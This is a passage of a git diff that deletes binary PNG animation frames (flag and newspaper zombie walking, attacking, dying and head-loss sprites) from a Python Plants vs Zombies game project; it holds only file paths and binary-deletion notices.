Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/FlagZombie/FlagZombieLostHead/FlagZombieLostHead_6.png deleted file mode 100644 index e651c6fb668..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/FlagZombie/FlagZombieLostHead/FlagZombieLostHead_6.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/FlagZombie/FlagZombieLostHead/FlagZombieLostHead_7.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/FlagZombie/FlagZombieLostHead/FlagZombieLostHead_7.png deleted file mode 100644 index 8877a74c861..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/FlagZombie/FlagZombieLostHead/FlagZombieLostHead_7.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/FlagZombie/FlagZombieLostHead/FlagZombieLostHead_8.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/FlagZombie/FlagZombieLostHead/FlagZombieLostHead_8.png deleted file mode 100644 index 2e2f475c756..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/FlagZombie/FlagZombieLostHead/FlagZombieLostHead_8.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/FlagZombie/FlagZombieLostHead/FlagZombieLostHead_9.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/FlagZombie/FlagZombieLostHead/FlagZombieLostHead_9.png deleted file mode 100644 index 19652e35e64..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/FlagZombie/FlagZombieLostHead/FlagZombieLostHead_9.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/FlagZombie/FlagZombieLostHeadAttack/FlagZombieLostHeadAttack_0.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/FlagZombie/FlagZombieLostHeadAttack/FlagZombieLostHeadAttack_0.png deleted file mode 100644 index 494a4647ed8..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/FlagZombie/FlagZombieLostHeadAttack/FlagZombieLostHeadAttack_0.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/FlagZombie/FlagZombieLostHeadAttack/FlagZombieLostHeadAttack_1.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/FlagZombie/FlagZombieLostHeadAttack/FlagZombieLostHeadAttack_1.png deleted file mode 100644 index fe2cb3224a4..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/FlagZombie/FlagZombieLostHeadAttack/FlagZombieLostHeadAttack_1.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/FlagZombie/FlagZombieLostHeadAttack/FlagZombieLostHeadAttack_10.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/FlagZombie/FlagZombieLostHeadAttack/FlagZombieLostHeadAttack_10.png deleted file mode 100644 index 0556bb88414..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/FlagZombie/FlagZombieLostHeadAttack/FlagZombieLostHeadAttack_10.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/FlagZombie/FlagZombieLostHeadAttack/FlagZombieLostHeadAttack_2.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/FlagZombie/FlagZombieLostHeadAttack/FlagZombieLostHeadAttack_2.png deleted file mode 100644 index 14b26aaff4d..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/FlagZombie/FlagZombieLostHeadAttack/FlagZombieLostHeadAttack_2.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/FlagZombie/FlagZombieLostHeadAttack/FlagZombieLostHeadAttack_3.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/FlagZombie/FlagZombieLostHeadAttack/FlagZombieLostHeadAttack_3.png deleted file mode 100644 index a19f5caf46b..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/FlagZombie/FlagZombieLostHeadAttack/FlagZombieLostHeadAttack_3.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/FlagZombie/FlagZombieLostHeadAttack/FlagZombieLostHeadAttack_4.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/FlagZombie/FlagZombieLostHeadAttack/FlagZombieLostHeadAttack_4.png deleted file mode 100644 index 9b8d2aed223..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/FlagZombie/FlagZombieLostHeadAttack/FlagZombieLostHeadAttack_4.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/FlagZombie/FlagZombieLostHeadAttack/FlagZombieLostHeadAttack_5.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/FlagZombie/FlagZombieLostHeadAttack/FlagZombieLostHeadAttack_5.png deleted file mode 100644 index 98f8376e658..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/FlagZombie/FlagZombieLostHeadAttack/FlagZombieLostHeadAttack_5.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/FlagZombie/FlagZombieLostHeadAttack/FlagZombieLostHeadAttack_6.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/FlagZombie/FlagZombieLostHeadAttack/FlagZombieLostHeadAttack_6.png deleted file mode 100644 index 18935e069a6..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/FlagZombie/FlagZombieLostHeadAttack/FlagZombieLostHeadAttack_6.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/FlagZombie/FlagZombieLostHeadAttack/FlagZombieLostHeadAttack_7.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/FlagZombie/FlagZombieLostHeadAttack/FlagZombieLostHeadAttack_7.png deleted file mode 100644 index b73246749ce..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/FlagZombie/FlagZombieLostHeadAttack/FlagZombieLostHeadAttack_7.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/FlagZombie/FlagZombieLostHeadAttack/FlagZombieLostHeadAttack_8.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/FlagZombie/FlagZombieLostHeadAttack/FlagZombieLostHeadAttack_8.png deleted file mode 100644 index 58fd7cc73bc..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/FlagZombie/FlagZombieLostHeadAttack/FlagZombieLostHeadAttack_8.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/FlagZombie/FlagZombieLostHeadAttack/FlagZombieLostHeadAttack_9.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/FlagZombie/FlagZombieLostHeadAttack/FlagZombieLostHeadAttack_9.png deleted file mode 100644 index 619ebd126eb..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/FlagZombie/FlagZombieLostHeadAttack/FlagZombieLostHeadAttack_9.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombie/NewspaperZombie_0.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombie/NewspaperZombie_0.png deleted file mode 100644 index 5c4a0d77a6e..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombie/NewspaperZombie_0.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombie/NewspaperZombie_1.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombie/NewspaperZombie_1.png deleted file mode 100644 index 87284994463..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombie/NewspaperZombie_1.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombie/NewspaperZombie_10.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombie/NewspaperZombie_10.png deleted file mode 100644 index 036e17d77c3..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombie/NewspaperZombie_10.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombie/NewspaperZombie_11.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombie/NewspaperZombie_11.png deleted file mode 100644 index eca85e6bbf3..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombie/NewspaperZombie_11.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombie/NewspaperZombie_12.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombie/NewspaperZombie_12.png deleted file mode 100644 index b2fc8b4618b..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombie/NewspaperZombie_12.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombie/NewspaperZombie_13.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombie/NewspaperZombie_13.png deleted file mode 100644 index 3c135ec162a..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombie/NewspaperZombie_13.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombie/NewspaperZombie_14.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombie/NewspaperZombie_14.png deleted file mode 100644 index 76762ed0509..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombie/NewspaperZombie_14.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombie/NewspaperZombie_15.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombie/NewspaperZombie_15.png deleted file mode 100644 index 881f5ea39ab..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombie/NewspaperZombie_15.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombie/NewspaperZombie_16.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombie/NewspaperZombie_16.png deleted file mode 100644 index f32cf63c15f..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombie/NewspaperZombie_16.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombie/NewspaperZombie_17.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombie/NewspaperZombie_17.png deleted file mode 100644 index 928c72e9e51..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombie/NewspaperZombie_17.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombie/NewspaperZombie_18.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombie/NewspaperZombie_18.png deleted file mode 100644 index 2cdc9924edd..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombie/NewspaperZombie_18.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombie/NewspaperZombie_2.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombie/NewspaperZombie_2.png deleted file mode 100644 index f14938c2503..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombie/NewspaperZombie_2.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombie/NewspaperZombie_3.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombie/NewspaperZombie_3.png deleted file mode 100644 index 5b430a222c3..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombie/NewspaperZombie_3.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombie/NewspaperZombie_4.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombie/NewspaperZombie_4.png deleted file mode 100644 index a5c8a0a3ca7..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombie/NewspaperZombie_4.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombie/NewspaperZombie_5.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombie/NewspaperZombie_5.png deleted file mode 100644 index 985c91e7800..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombie/NewspaperZombie_5.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombie/NewspaperZombie_6.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombie/NewspaperZombie_6.png deleted file mode 100644 index c75546ee5da..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombie/NewspaperZombie_6.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombie/NewspaperZombie_7.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombie/NewspaperZombie_7.png deleted file mode 100644 index e3b7359f66e..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombie/NewspaperZombie_7.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombie/NewspaperZombie_8.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombie/NewspaperZombie_8.png deleted file mode 100644 index 70a66aaabf8..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombie/NewspaperZombie_8.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombie/NewspaperZombie_9.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombie/NewspaperZombie_9.png deleted file mode 100644 index b75e2b7a61b..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombie/NewspaperZombie_9.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieAttack/NewspaperZombieAttack_0.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieAttack/NewspaperZombieAttack_0.png deleted file mode 100644 index 2d1f097cecc..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieAttack/NewspaperZombieAttack_0.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieAttack/NewspaperZombieAttack_1.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieAttack/NewspaperZombieAttack_1.png deleted file mode 100644 index 495bd20088f..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieAttack/NewspaperZombieAttack_1.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieAttack/NewspaperZombieAttack_2.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieAttack/NewspaperZombieAttack_2.png deleted file mode 100644 index 9f92ddeeb20..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieAttack/NewspaperZombieAttack_2.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieAttack/NewspaperZombieAttack_3.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieAttack/NewspaperZombieAttack_3.png deleted file mode 100644 index eee0cfdbf46..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieAttack/NewspaperZombieAttack_3.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieAttack/NewspaperZombieAttack_4.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieAttack/NewspaperZombieAttack_4.png deleted file mode 100644 index 05928f773fa..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieAttack/NewspaperZombieAttack_4.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieAttack/NewspaperZombieAttack_5.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieAttack/NewspaperZombieAttack_5.png deleted file mode 100644 index 84a381e34ea..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieAttack/NewspaperZombieAttack_5.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieAttack/NewspaperZombieAttack_6.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieAttack/NewspaperZombieAttack_6.png deleted file mode 100644 index 19459701f83..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieAttack/NewspaperZombieAttack_6.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieAttack/NewspaperZombieAttack_7.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieAttack/NewspaperZombieAttack_7.png deleted file mode 100644 index 7c2e88cfb5b..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieAttack/NewspaperZombieAttack_7.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieDie/NewspaperZombieDie_0.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieDie/NewspaperZombieDie_0.png deleted file mode 100644 index 4a033e76a3a..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieDie/NewspaperZombieDie_0.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieDie/NewspaperZombieDie_1.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieDie/NewspaperZombieDie_1.png deleted file mode 100644 index df80a3543c2..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieDie/NewspaperZombieDie_1.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieDie/NewspaperZombieDie_10.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieDie/NewspaperZombieDie_10.png deleted file mode 100644 index e5c7583c59e..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieDie/NewspaperZombieDie_10.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieDie/NewspaperZombieDie_2.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieDie/NewspaperZombieDie_2.png deleted file mode 100644 index 5269fdffac3..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieDie/NewspaperZombieDie_2.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieDie/NewspaperZombieDie_3.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieDie/NewspaperZombieDie_3.png deleted file mode 100644 index 033ecc64996..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieDie/NewspaperZombieDie_3.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieDie/NewspaperZombieDie_4.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieDie/NewspaperZombieDie_4.png deleted file mode 100644 index 033ecc64996..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieDie/NewspaperZombieDie_4.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieDie/NewspaperZombieDie_5.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieDie/NewspaperZombieDie_5.png deleted file mode 100644 index 09f6f3929c0..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieDie/NewspaperZombieDie_5.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieDie/NewspaperZombieDie_6.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieDie/NewspaperZombieDie_6.png deleted file mode 100644 index 21374ddd3c0..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieDie/NewspaperZombieDie_6.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieDie/NewspaperZombieDie_7.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieDie/NewspaperZombieDie_7.png deleted file mode 100644 index a486ee6f561..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieDie/NewspaperZombieDie_7.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieDie/NewspaperZombieDie_8.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieDie/NewspaperZombieDie_8.png deleted file mode 100644 index a486ee6f561..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieDie/NewspaperZombieDie_8.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieDie/NewspaperZombieDie_9.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieDie/NewspaperZombieDie_9.png deleted file mode 100644 index 0dbe4f4801c..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieDie/NewspaperZombieDie_9.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieLostHead/NewspaperZombieLostHead_0.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieLostHead/NewspaperZombieLostHead_0.png deleted file mode 100644 index f6414a995b2..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieLostHead/NewspaperZombieLostHead_0.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieLostHead/NewspaperZombieLostHead_1.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieLostHead/NewspaperZombieLostHead_1.png deleted file mode 100644 index f6414a995b2..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieLostHead/NewspaperZombieLostHead_1.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieLostHead/NewspaperZombieLostHead_10.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NewspaperZombie/NewspaperZombieLostHead/NewspaperZombieLostHead_10.png deleted file mode 100644 index 0669d43cb35..00000000000 Binary files a/Add Code 